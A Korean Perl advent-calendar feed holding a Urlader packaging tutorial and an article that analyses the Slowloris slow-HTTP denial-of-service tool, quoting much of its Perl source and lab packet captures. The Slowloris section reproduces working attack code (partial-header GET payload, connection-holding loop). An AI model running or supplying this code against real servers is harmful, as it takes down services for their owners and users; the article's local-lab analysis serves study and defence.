제가 뭘 했나 싶습니다. 거대한 펄의 모듈 창고(CPAN)를 통해 펄의 강력함에 한 번 더 감탄하게 된 계기가 되었습니다.</p>
<h2>주의사항</h2>
<p>DDoS 공격에 대비하여 서버 관리자는 한 클라이언트의 최대 접속 개수를 설정했을 수 있기 때문에,
또는 서버에 프로세스 처리 방식을 사용하는 웹 서버에 부하를 줄 수 있기 때문에
적당한 세그먼트 값을 사용하는 것을 권장합니다(약 16~64).
실험 과정에서 특정 세그먼트 값을 초과하면 기댓값만큼의 큰 이점을 얻지 못했습니다.
그리고 세그먼트가 늘어날수록 (송/수신해야 하는 헤더의 증가로 인해) 전체 트래픽의 양은 늘어날 것입니다.</p>
<h2>하나 더</h2>
<p>마지막으로 <a href="http://advent.perl.kr/2012/2012-12-18.html">18일 자 aer0 님의 기사</a>에 나온 컴파일 방법을 통해 .exe 실행 파일로 만들면
윈도우에서 <code>wget</code>보다 빠른 다운로더를 사용하실 수 있을 겁니다.</p>
2012-12-19T00:00:00+09:00John_KangUrlader로 Perl 스크립트를 단일실행파일로 만들기 (node.js,Python,Ruby도 가능)http://advent.perl.kr/2012/2012-12-18.html<h2>저자</h2>
<p><a href="https://twitter.com/aer0">@aer0</a> -
Seoul.pm, #perl-kr의 정신적 지주,
Perl에 대한 근원적이면서 깊은 부분까지 놓치지 않고 다루는 <a href="http://aero.sarang.net/">홈페이지 및 블로그</a>를 운영하고 있다.
aero라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p>Perl로 유용한 프로그램을 만들어서 누군가와 공유해서 쓰고 싶다면 어떻게 배포할지 고민하게 됩니다.
사용자가 Perl을 잘 아는 사람이면 "Perl을 설치하고
이 스크립트를 실행하라"고 쉽게 떠넘길 수 있지만
대다수 사용자들은 그냥 보통 실행 파일처럼 .exe 파일을 마우스로 클릭하면 모든게 알아서 실행되길 바랍니다.
Perl을 단일 실행 파일로 만드는 방법은 PAR를 이용한 방법 등 다음과 같은 기존의 방법이 여럿 존재합니다.</p>
<ul>
<li><a href="http://advent.perl.kr/2011/2011-12-24.html">2011년 24일 펄 달력 기사</a>의 마지막 "단일파일 배포 및 패키징" 섹션</li>
<li><a href="http://aero2blog.blogspot.kr/2011/12/perl.html">윈도우에서 Perl어플리케이션을 배포</a>하는 방법에 대한 블로그 포스트</li>
</ul>
<p>위에서 언급한 PAR 등의 패키징 툴을 이용하는 방법의 문제는
필요하지 않은 많은 파일들이 같이 패키징되어
용량이 너무 커지고 초기 실행 시 임시로 내부 파일을 압축 해제하게 되는데
그 시간이 다소 오래 걸린다는 단점이 있습니다.
또, 후자의 방법같이 launcher만 만들어 하는 방식은 실행 속도는 빠르나
내부 파일들이 그대로 노출되고 나열되어 좀 너저분해 보인다는 단점이 있습니다.
그러면 꼭 필요한 파일들만 추려서 단일 실행 파일 하나로 패키징하는 방법은 없을까요? </p>
<h2 id="urlader">Urlader!</h2>
<p>해결책은 <a href="http://anyevent.schmorp.de/">AnyEvent</a>와 <a href="http://libev.schmorp.de/">libev</a>를 만든 유명한 펄해커인
<a href="https://www.metacpan.org/author/MLEHMANN">Marc Lehmann</a>이 만든
<a href="https://www.metacpan.org/release/Urlader">Urlader</a>를 사용하는 것입니다.
Urlader는 Linux, Mac OS X, Windows 등 많은 플랫폼을 지원하지만 여기서는 특히 Windows에서의 과정만 다루겠습니다.</p>
<p>그럼 Urlader를 이용하여 <a href="https://www.metacpan.org/module/Win32::GUI">Win32::GUI</a> 모듈에 포함된 데모 프로그램 중
간단한 예제 하나를 가져와 약간 고쳐서 독립적인 .exe 파일로 패키징하는 과정을 알아보도록 합시다.</p>
<h2>따라해봅시다</h2>
<p>일단 Urlader 모듈을 <code>cpan Urlader</code> 명령을 통해 설치합니다.
예제를 위해 사용할 <code>Win32::GUI</code> 모듈도 같이 설치해주세요.</p>
<pre class="brush: plain;">
C:\> cpan Urlader
C:\> cpan Win32::GUI
</pre>
<p>이제 다음과 같은 예제 프로그램을 <code>helloworld.pl</code>라는 이름으로 만듭니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
use FindBin;
use Win32::GUI();
# Get text to diaply from the command line
my $text = defined($ARGV[0]) ? $ARGV[0] : $ENV{URLADER_EXEPATH}.','.$FindBin::Bin;
# Create our window
my $main = Win32::GUI::Window->new(
-name => 'Main',
-width => 100,
-height => 100,
-text => 'Perl',
);
# Create a font to diaply the text
my $font = Win32::GUI::Font->new(
-name => "Comic Sans MS",
-size => 10,
);
# Add the text to a label in the window
my $label = $main->AddLabel(
-text => $text,
-font => $font,
-foreground => 0x0000FF,
);
my $ncw = $main->Width() - $main->ScaleWidth();
my $nch = $main->Height() - $main->ScaleHeight();
my $w = $label->Width() + $ncw;
my $h = $label->Height() + $nch;
# Get the desktop window and its size:
my $desk = Win32::GUI::GetDesktopWindow();
my $dw = Win32::GUI::Width($desk);
my $dh = Win32::GUI::Height($desk);
# Calculate the top left corner position needed
# for our main window to be centered on the screen
my $x = ($dw - $w) / 2;
my $y = ($dh - $h) / 2;
# And move the main window to the center of the screen
$main->Move($x, $y);
# Resize the window to the size of the label
$main->Resize($w, $h);
# Set the minimum size of the window to the size of the label
$main->Change(
-minsize => [$w, $h],
);
# SHow the window and enter the dialog phase.
$main->Show();
Win32::GUI::Dialog();
exit(0);
# Terminate Event handler
sub Main_Terminate {
return -1;
}
# Resize Event handler
sub Main_Resize {
my $mw = $main->ScaleWidth();
my $mh = $main->ScaleHeight();
my $lw = $label->Width();
my $lh = $label->Height();
$label->Left(($mw - $lw) / 2);
$label->Top(($mh - $lh) / 2);
return 0;
}
</pre>
<p>위 파일을 만들고 저장한 뒤
<code>perl helloworld.pl Hello</code>라고 명령을 내리면 다음과 같은 화면이 뜰 겁니다.</p>
<p><img src="2012-12-18-1.png" alt=""helloworld.pl Hello"를 실행한 모습" id="helloworld.plhello" />
<em>그림 1.</em> "helloworld.pl Hello"를 실행한 모습</p>
<p>코드를 보면 명령행 인자(<code>Hello</code>)를 주지 않으면
<code>$ENV{URLADER_EXEPATH}</code>와 <code>$FindBin::Bin</code>의 값을 찍도록 만들었는데,
이것들에 대해서는 나중에 설명할테니 일단 넘어가도록 합시다.</p>
<p>패키징을 위해 임시로 작업할 디렉토리를 만듭니다.
여기서 저는 <code>c:\temp\for_pack</code>이란 디렉토리를 만들었습니다.
디렉토리를 만들었으면 메인 스크립트 파일을 해당 디렉토리에 옮깁니다.</p>
<p><code>cmd.exe</code> 명령 프롬프트를 실행하여 <code>cd c:\temp\for_pack</code> 명령으로
작업 디렉토리로 들어가서 패키징에 필요한 파일을 뽑아낼 준비를 합니다.
Urlader도 자동으로 추출하는 기능은 제공하지는 않기 때문에
<a href="http://aero2blog.blogspot.kr/2011/12/perl.html">제 블로그 포스트에 소개한 방법</a>을
그대로 따라하겠습니다.</p>
<h2>추출 및 패킹하기</h2>
<p><a href="http://www.howzatt.demon.co.uk/NtTrace/">NtTrace</a>를 받아서
설치한 다음 아래와 같이 명령을 내립니다.</p>
<pre class="brush: plain;">
C:\> NtTrace -filter File wperl helloworld.pl > out.txt
</pre>
<p>프로그램이 정상적으로 실행이 완료된 다음 종료합니다.
참고로 이때 <code>wperl.exe</code>는 <code>perl.exe</code>와 달리 명령행 창을 띄우지 않는 펄 실행 바이너리입니다.
이제 아래와 같은 <code>make_dist.pl</code> 파일을 만듭니다.
여기에서 perl의 base 경로를 나타내는 <code>$perl_path</code> 변수는 자기 환경에 맞게 바꾸어야 합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use 5.010;
use strict;
use warnings;
my $perl_path = qr/C:\\strawberry-perl-5.14.2.1-32bit\\perl\\/;
my %files;
open my $fh , '<', 'out.txt' or die;
while (my $line = <$fh>) {
$files{$1}=1 if $line =~ m{($perl_path.*?)".*?=> 0$};
}
foreach my $file (sort keys %files) {
next if -d $file;
my $dest = $file;
$dest =~ s/$perl_path//;
say "$file -> $dest";
system(qq{echo f | xcopy /C "$file" .\\dist\\"$dest"});
}
</pre>
<p><code>perl make_dist.pl</code>라고 명령을 내리게 되면 현재 디렉토리 하위에
<code>dist</code>란 디렉토리가 생성되며 필요한 파일들을 그 아래에 쭉 모으게 됩니다.
그다음 메인 스크립트인 <code>helloworld.pl</code> 파일을 <code>dist</code> 디렉토리로 옮깁니다.</p>
<pre class="brush: plain;">
<디렉토리 구조>
c:\temp\for_pack\dist\-- helloworld.pl
+- bin (wperl.exe, perl514.dll, ...)
+- lib (모듈들...)
+- site (모듈들...)
</pre>
<p>이제 각 플랫폼에 맞게 미리 준비된 urlader 런처를 받아 준비한 의존 모듈과 함께 패킹해야 합니다.
<a href="http://urlader.schmorp.de/prebuilt/1.0/">urlader 웹페이지</a>에서 <code>windows-x86</code> 파일을
다운로드하여 작업 디렉토리 <code>c:\temp\for_pack</code>에 저장한다음 다음과 같이 명령을 내립니다.</p>
<pre class="brush: plain;">
C:\> urlader-util --urlader windows-x86 --output helloworld.exe \
--pack helloworld 1.0 \
C:\temp\for_pack\dist \
.\bin\wperl.exe helloworld.pl
</pre>
<p>여기에서도 명령창 없이 실행하기 위해 <code>perl.exe</code>대신 <code>wperl.exe</code>를 지정했습니다.
명령행 옵션의 형식은 아래와 같습니다.
자세한 사항은 <a href="https://metacpan.org/module/MLEHMANN/Urlader-1.01/bin/urlader-util#MODES">문서를 참고</a>하세요.</p>
<pre class="brush: plain;">
C:\> urlader-util --urlader <다운받은부트스트랩용바이너리> \
--out <출력실행파일명> \
--pack <실행파일내부이름> \
<실행파일내부버젼> \
<패키지할파일들의base경로> \
[선택사항:환경변수들] \
<base경로를기준으로한실행바이너리경로(여기서는 perl해석기)> \
[인자들(여기서는 perl스크립트이름)]
</pre>
<p>Urlader 문서에 의하면 Perl 뿐만 아니라 Python 등 다른 어떤 언어도
<code><패키지할파일들의base경로></code>(여기서는 <code>c:\temp\for_pack\dist</code>)를 기준으로
<code><base경로를기준으로한실행바이너리경로> [인자들]</code>로 프로그램이 실행가능하면
Urlader로 하나의 실행파일로 패키징 가능하다고 합니다.
직접 실험해 본 결과 Node.js, Python으로 만든 예제도 문제없이
패키징되는 것을 확인했습니다. 물론 Ruby도 문제 없겠죠?</p>
<p>위 명령이 정상적으로 실행되었다면 작업 디렉토리에 <code>helloworld.exe</code>란
파일이 생성되어 있을겁니다. 이제 이렇게 만들어진 단일 실행 파일은
어디로 가져가든지 이 파일 하나로만 실행할 수 있습니다.
참고로, 실행 파일의 아이콘을 바꾸고 싶으면
<code>urlader-util</code> 명령 실행시 <code>--windows-icon my.ico</code> 옵션을 추가하면 됩니다.</p>
<h2>실행해봅시다</h2>
<p>해당 파일을 마우스로 클릭해서 실행해 보면 다음과 같은 화면을 볼 수 있을겁니다.</p>
<p><img src="2012-12-18-2.png" alt="패킹한 프로그램을 실행한 모습" id="" />
<em>그림 2.</em> 패킹한 프로그램을 실행한 모습 (<a href="2012-12-18-2_r.png">원본</a>)</p>
<p>명령행 인자가 주어지지 않았으므로 화면에
<code>$ENV{URLADER_EXEPATH}</code>과 <code>$FindBin::Bin</code>에 해당하는 문자열이 찍혔습니다.
왜 이 문자열을 찍도록 예제 프로그램을 작성했는지 말씀드리겠습니다.</p>
<p><code>$ENV{URLADER_EXEPATH}</code>는 Urlader로 만들어진
실행 파일의 실행된 위치의 전체경로(여기서는 <code>c:\temp\for_pack\helloworld.exe</code>)을 뜻하며
<code>$FindBin::Bin</code>은 패키징된 실행파일을 실행시킬 때
실행시킨 사용자의 어플리케이션 데이터 디렉토리에 임시적으로 풀어서
실제 실행되는 메인스크립트의 경로를 나타냅니다.</p>
<p>현재 실험은 Windows 7에서 했으므로, <code>c:\Users\kang\AppData\Roaming\urlader\helloworld\i-1.0</code>는
<code>c:\Users\사용자ID\AppData\Roaming\urlader\실행파일내부이름\실행파일내부버젼을포함한특정문자열</code>의 형식으로
실행 파일 내부 이름, 실행 파일 내부 버전은 <code>urlader-util</code> 명령에서
지정해준 것입니다. 따라서 새로 패키징할 때에는 버전을 바꿔야
이전에 풀어서 캐시된 임시 디렉토리와 겹치지 않고 새버전으로 실행됩니다.
또는 임시 캐시 디렉토리를 비워야 새로 패키징한 바이너리가 적용됩니다.</p>
<ul>
<li>만들어진 실행 바이너리 <a href="2012-12-18-helloworld.exe">helloworld.exe</a></li>
</ul>
<p>정리하면, 패키징한 메인 스크립트가
내부적으로 어떤 데이터나 설정파일을 읽어야 하면
메인스크립트에서 <code>$FindBin::Bin</code>경로를 기준으로 작업해야
패키징할 때 같이 포함해도 문제없이 해당 파일을 잘 찾을 수 있을 것이고,
패키징한 실행 파일이 실행된 경로를 기준으로 어떤 외부 파일을 읽어 사용해야 될 때에는
<code>$ENV{URLADER_EXEPATH}</code>을 기준으로 상대 경로를 잡으면 될 것이라는 힌트를 드리기 위해서입니다.</p>
<h2>정리하며</h2>
<p>내가 만든 GUI 프로그램, 명령행 유틸리티, 독립적인 웹 기반 어플리케이션 등
유용한 유틸리티 및 프로그램을 다른 사람에게 배포하고 싶은데,
"실행하기전에 뭐 설치해라 무슨 모듈 설치해라" 이런 말 할 필요 없이
원포인트로 돌아가도록 만들고 싶으싶니까?</p>
<p>그러면 이제 Urlader로 자신이 만든 유용한 유틸리티를 간결하고 깔끔하게 패키징하여 널리 공유해보세요~</p>
<h3>참고 문서</h3>
<ul>
<li>만들어진 실행 바이너리 <a href="2012-12-18-helloworld.exe">helloworld.exe</a></li>
<li><a href="http://www.howzatt.demon.co.uk/NtTrace/">NtTrace 웹사이트</a></li>
<li><a href="https://www.metacpan.org/release/Urlader">Urlader 문서</a></li>
<li><a href="http://advent.perl.kr/2011/2011-12-24.html">펄 생태계 가이드</a></li>
<li><a href="http://aero2blog.blogspot.kr/2011/12/perl.html">윈도우에서 Perl 어플리케이션 배포</a></li>
</ul>
2012-12-18T00:00:00+09:00aer0RUDY Slowlorishttp://advent.perl.kr/2012/2012-12-17.html<h2>저자</h2>
<p><a href="https://twitter.com/newbcode">@newbcode</a> - 사랑스런 딸바보 도치파파</p>
<h2>시작하며</h2>
<p>R-U-DEAD-YET(RUDY). 아직 죽지 않았니? 마치 관리자를 조롱하는 듯한 공격 이름입니다.
RUDY를 시작하기전에 대략 DOS의 역사를 집어보면 2000년초 아마존,
E-Bay를 시작으로 DDOS는 세상에 알려지게 됩니다.
이때만 해도 네트워크 인프라가 없었기 때문에 대량의 좀비봇과 원격서버로 공격을 감행했습니다.
그리고 또 하나의 특징으로는 실력 행사용 공격 양상을 보였지만
2005년도를 넘어 오면서 일정한 타겟을 두고 금품 갈취를 목적으로 DDOS 공격이 시행됐습니다.
주로 타겟은 불법게임사이트, 전자상거래 사이트 등이 타겟이 되었습니다.
그리고 2009년 7.7대란이 일어나게 되고 이제부터는 국가간 사이버전쟁 시대를 암시하듯 국가 기간망과
포털, 정부 등을 노리게 됩니다.
즉 실제로 Fire Sale이 진행되는 양상을 보입니다.
Fire Sale은 국가 전체 구조에 대한 체계화된 3단계 공격입니다.</p>
<ul>
<li>1단계는 모든 교통체계를 무너트리고 모든 재정과 주요 통신망을 마비 혹은 장악합니다 .</li>
<li>2단계는 이후, 가스, 수도, 전기, 원자력 등 모든 공공시설물에대한 통제 권한을 뺏는 것입니다.</li>
<li>3단계는 그 나라를 무력으로 초토화하는 것입니다.</li>
</ul>
<p>1단계가 바로 2009년 7.7대란과 흡사합니다.
이처럼 DDOS 공격은 대담해지고 고도화되고 있는 시점에서 RUDY 공격은 중요한 전환점이 됩니다.
기존의 DDOS 공격은 좀비 PC를 이용해 세션 L7에서 대량 트랙픽을 유발하는 방식의 공격이었습니다.
그래서 어플리케이션 방화벽으로 패턴을 잡아내서 방어를 하였습니다.
하지만 RUDY는 패턴이 없기 때문에 사실상 막거나 눈치채기 어렵습니다.
가장 큰 차이점은 트래픽이 비정상으로 많아지는 것이 아니라 서서히
세션을 늘려감으로써 서버의 리소스를 서서히 좀 먹는 것입니다.
결국 세션이 넘치게 되면 서버는 die 상태가 됩니다.</p>
<p>서론이 너무 길었습니다.
이제 RUDY 공격 중 Perl로 짜여진 Slowloris 공격 소스를 보고
관리자의 시점이 아니라 순수한? 마음으로 분석을 진행해보겠습니다.
본론으로 들어가기전 Slowloris의 특징을 보겠습니다.</p>
<ul>
<li>HTTP GET 기반 Flooding입니다.</li>
<li>공격 PC는 달랑 1대면 됩니다.</li>
<li>아주 정상적인 세션을 가집니다.</li>
<li>공격이 끝나기 전까지는 로그를 남기지 않습니다.</li>
<li>공격 대상은 서서히 말라 죽습니다.</li>
<li>타겟이 아파치 서버의 아키텍쳐 자체에 있습니다. 그러므로 방어가 까다롭습니다.</li>
</ul>
<p>위에 내용을 기억하시면서 보시면 더 재밌을 것 같습니다.</p>
<h2>실험 환경</h2>
<p>시나리오를 위한 환경은 아래와 같습니다.</p>
<ul>
<li>타겟 서버: CentOS 6.3 (현재 redhat 최신 배포판) </li>
<li>공격자 PC: Linux Mint nadia 14 (현재 distrowatch 1위 배포판)</li>
<li>네트워크 프로토콜 분석기: Wireshark 1.8.4</li>
</ul>
<p>공격 시나리오와 테스트 환경은 순수 로컬망에서 실험하였습니다.
혹여 의심을 받을 만한 행동은 삼가합시다.</p>
<h2>준비물</h2>
<p>준비물은 Slowloris와 의존 모듈 3개면 충분합니다.</p>
<ul>
<li><a href="http://ha.ckers.org/slowloris/">Slowloris</a></li>
<li><a href="https://www.metacpan.org/module/IO::Socket::INET">IO::Socket::INET</a></li>
<li><a href="https://www.metacpan.org/module/IO::Socket::SSL">IO::Socket::SSL</a></li>
<li><a href="https://www.metacpan.org/module/Devel::Trace::More">Devel::Trace::More</a> - host, get, cache 등의 값을 보기 위한 trace 모듈</li>
</ul>
<p>아래와 같이 직접 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More
</pre>
<h2>본격적으로</h2>
<p>설치가 완료되면 본격적으로 소스를 보겠습니다.
크게 Input, Setting, Attack으로 나누어 소스를 보겠습니다.
실질적으로 Wireshark로 패킷을 실시간으로 분석하여 소스 부분과 매치하며 보도록 하겠습니다.</p>
<p>공격소스를 보기전에 nomal 패턴을 보겠습니다.
아래와 같이 일반적인 HTTP Connection은 <code>syn->syn</code>, <code>ack->ack->push->fin->fin,ack</code>를 함으로서 접속을 마칩니다.
<code>ack</code>후 <code>get</code>을 할 때 클라이언트는 아래와 같이 <code>0d0a0d0a</code>를 보냄으로써 종료됩니다.
또한 이 때 Wireshark와 서버의 상태를 살펴보겠습니다.</p>
<p><img src="2012-12-17-1_r.jpg" alt="nomal 패턴" id="nomal" />
<em>그림 1.</em> nomal 패턴 (<a href="2012-12-17-1.jpg">원본</a>)</p>
<p><code>netstat</code>로 보는 서버의 상태입니다.
아래와 같이 하나의 세션이 ESTABLISHED 상태 입니다.</p>
<pre class="brush: bash;">
[root@centos63 ~]$ netstat -atn
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:54289 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 52 192.168.25.33:22 192.168.25.10:51723 ESTABLISHED
tcp 0 0 :::33645 :::* LISTEN
tcp 0 0 :::111 :::* LISTEN
tcp 0 0 :::80 :::* LISTEN
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 ::1:631 :::* LISTEN
tcp 0 0 ::1:25 :::* LISTEN
tcp 0 0 :::443 :::* LISTEN
</pre>
<p>코드를 봅시다.
먼저 모듈을 로드하고 <code>Getopt::Long</code>을 통해 명령행 인자로 옵션을 받습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
use Devel::Trace::More;
# Attack 대상의 정보를 입력하는 부분입니다.
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
'shost=s' => \$shost,
'dns=s' => \$host,
'httpready' => \$httpready,
'num=i' => \$connections,
'cache' => \$cache,
'port=i' => \$port,
'https' => \$ssl,
'tcpto=i' => \$tcpto,
'test' => \$test,
'timeout=i' => \$timeout,
'version' => \$version,
);
# 아래는 각종 옵션과 사용법에 대한 부분입니다.
if ($version) {
print "Version 0.7\n";
exit;
}
unless ($host) {
print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
print "\n\tType 'perldoc $0' for help with options.\n\n";
exit;
}
unless ($port) {
$port = 80;
print "Defaulting to port 80.\n";
}
unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.\n";
}
unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.\n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.\n";
}
}
</pre>
<p>받은 옵션을 처리하여 아래와 같이 몇몇 공격을 위한 설정을 합니다.</p>
<pre class="brush: perl;">
# 현재 설치된 펄이 쓰레드를 지원할 경우 쓰레드를 사용합니다.
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!\n";
print "Slowloris will be slower than normal as a result.\n";
}
# 패킷 카운트, 세션을 마크하여 공유 함
# 같은세션으로 연결할 경우 WAF 패턴에 잡히지 않도록 하는 설정
my $packetcount : shared = 0;
my $failed : shared = 0;
my $connectioncount : shared = 0;
# 캐시를 랜덤으로 생성하여 서버에 no-store옵션을
# 역이용하여 cache를 계속 생성하게 하도록 합니다.
srand() if ($cache);
# 공격자의 호스트와 HTTP 요청 방식을 설정합니다.
$sendhost = $shost ? $shost : $host;
$method = $httpready ? "POST" : "GET";
</pre>
<p>이제부터 옵션을 설정하고 실질적으로 공격하는 부분을 봅니다.
세션을 늘리면서 테스트를 진행합니다.</p>
<pre class="brush: perl;">
if ($test) {
my @times = ( "2", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "This test could take up to $totaltime minutes.\n";
my $delay = 0;
my $working = 0;
my $sock;
...
}
</pre>
<p>위 부분의 동작을 실제 Wireshark를 이용해 보도록 하겠습니다.
공격을 시도하는 동시에 제 노트북이 팬소리가 급증하네요.
아래와 같이 클라이언트에서 정상적인 syc패킷을 보낸 후
서버에서 SYN_ACK가 오고난 후 ACK를 보낼 때 완전하지 않은 헤더를 보내게 됩니다. (<code>0d0a</code>만 보내게 됩니다.)
그래서 서버는 마지막 <code>0d0a</code>를 기다리게됩니다.</p>
<p><img src="2012-12-17-2_r.jpg" alt="0d0a만 보낸 모습" id="d0a" />
<em>그림 2.</em> 0d0a만 보낸 모습 (<a href="2012-12-17-2.jpg">원본</a>)</p>
<p>payload를 살펴보면 GET을 시도한 후 브라우저 정보를 보내고
실제 payload contents length값이 42바이트지만 헤더는 40바이트만 보내는 것을 알 수 있습니다.</p>
<p><img src="2012-12-17-3_r.jpg" alt="40바이트 헤더" id="" />
<em>그림 3.</em> 40바이트 헤더 (<a href="2012-12-17-3.jpg">원본</a>)</p>
<p>Slowloris가 실핼될 때 서버 세션의 변화 모습입니다.
정상적인 SYN을 받음으로 서버는 ESTABLISHED 상태로 연결을 맺고</p>
<pre class="brush: bash;">
[root@centos63 ~]$ netstat -atn
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 192.168.25.33:80 192.168.25.29:36119 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:36136 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:36121 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:36113 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:36118 SYN_RECV
...
tcp 0 52 192.168.25.33:22 192.168.25.10:51723 ESTABLISHED
tcp 230 0 ::ffff:192.168.25.33:80 ::ffff:192.168.25.29:36027 ESTABLISHED
tcp 0 0 ::ffff:192.168.25.33:80 ::ffff:192.168.25.29:35952 ESTABLISHED
tcp 0 0 ::ffff:192.168.25.33:80 ::ffff:192.168.25.29:35874 ESTABLISHED
tcp 230 0 ::ffff:192.168.25.33:80 ::ffff:192.168.25.29:36116 ESTABLISHED
tcp 0 0 ::ffff:192.168.25.33:80 ::ffff:192.168.25.29:35988 ESTABLISHED
tcp 0 0 ::ffff:192.168.25.33:80 ::ffff:192.168.25.29:35876 ESTABLISHED
tcp 0 0 ::ffff:192.168.25.33:80 ::ffff:192.168.25.29:36004 ESTABLISHED
tcp 230 0 ::ffff:192.168.25.33:80 ::ffff:192.168.25.29:36094 ESTABLISHED
...
</pre>
<p>바로 접속된 세션들은 synack 패킷을 받기위해
SYN_RECV 상태로 빠진후 FIN_WAIT 상태로 바뀌게 됩니다.</p>
<pre class="brush: bash;">
[root@centos63 ~]$ netstat -atn
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 192.168.25.33:80 192.168.25.29:36990 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:37176 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:37103 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:37127 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:37022 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:36906 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:37141 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:37086 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:36999 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:37108 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:37073 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:37220 SYN_RECV
tcp 0 0 192.168.25.33:80 192.168.25.29:36964 SYN_RECV
....
</pre>
<p>30초 후 http 세션의 갯수입니다. 엄청나게 늘어났습니다. 현재 저 세션은 OPEN 상태입니다.
세션이 다시 줄어드는 이유는 공격을 한 후 다시 세션을 회수하기 때문입니다.
관리자가 눈치채지 못하게 말이죠.</p>
<pre class="brush: bash;">
[root@centos63 ~]$ netstat -atn |wc -l
173
[root@centos63 ~]$ netstat -atn |wc -l
177
[root@centos63 ~]$ netstat -atn |wc -l
202
[root@centos63 ~]$ netstat -atn |wc -l
232
[root@centos63 ~]$ netstat -atn |wc -l
449
[root@centos63 ~]$ netstat -atn |wc -l
647
[root@centos63 ~]$ netstat -atn |wc -l
639
[root@centos63 ~]$ netstat -atn |wc -l
475
</pre>
<p>다시 코드로 돌아가겠습니다.
소켓을 생성합니다. HTTP와 동일하여 패킷은 생략합니다.
SSL과 INET의 경우를 구분하였습니다.</p>
<pre class="brush: perl;">
if ($ssl) {
$sock = IO::Socket::SSL->new(
PeerAddr => $host,
PeerPort => $port,
Timeout => $tcpto,
Proto => "tcp"
);
$working = 1 if $sock;
}
else {
$sock = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => $port,
Timeout => $tcpto,
Proto => "tcp",
);
$working = 1 if $sock;
}
</pre>
<p>이어서 실제로 세션수를 정의 하는 부분이다.
서버의 No-Store 캐시 옵션을 역이용 하여 캐시를 생성하도록 부하를 주게됩니다.</p>
<pre class="brush: perl;">
if ($working) {
if ($cache) {
$rand = "?" . int rand(99999999999999);
}
else {
$rand = "";
}
# 아래에 계속..
</pre>
<p>이번에는 세션수를 정의하고 브라우저의 정보를 GET 합니다.
정상적인 SYN 패킷을 보내기 위한 부분입니다.</p>
<pre class="brush: perl;">
# if ($working) {
# 위에서 계속..
my $primarypayload =
"GET /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; "
. "Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR "
. "3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
if (print $sock $primarypayload) {
print "Connection successful, now comes the waiting game...\n";
}
else {
print "That's odd - ";
print "I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
</pre>
<p>Wireshark로 보면 아래와 같습니다.</p>
<p><img src="2012-12-17-4_r.jpg" alt="정상적인 SYN 패킷" id="syn" />
<em>그림 4.</em> 정상적인 SYN 패킷 (<a href="2012-12-17-4.jpg">원본</a>)</p>
<p>소켓을 생성한 후 그 소켓은 SLEEP 상태에 빠지며 서버측의 응답을 기다리게 됩니다.
클라이언트는 마지막 <code>0d0a</code>를 보내지 않습니다.</p>
<pre class="brush: perl;">
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n";
sleep( $times[$i] );
if ( print $sock "X-a: b\r\n" ) { # 0d0a를 한번만 보냅니다.
print "\tWorked.\n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "\tFailed after $times[$i] seconds.\n";
}
}
</pre>
<p>이때 서버의 상태를 확인합시다.
기본으로 20개의 소켓을 생성, 20개의 쓰레드를 만들고 그 후 계속해서 패킷을 보내게 됩니다.
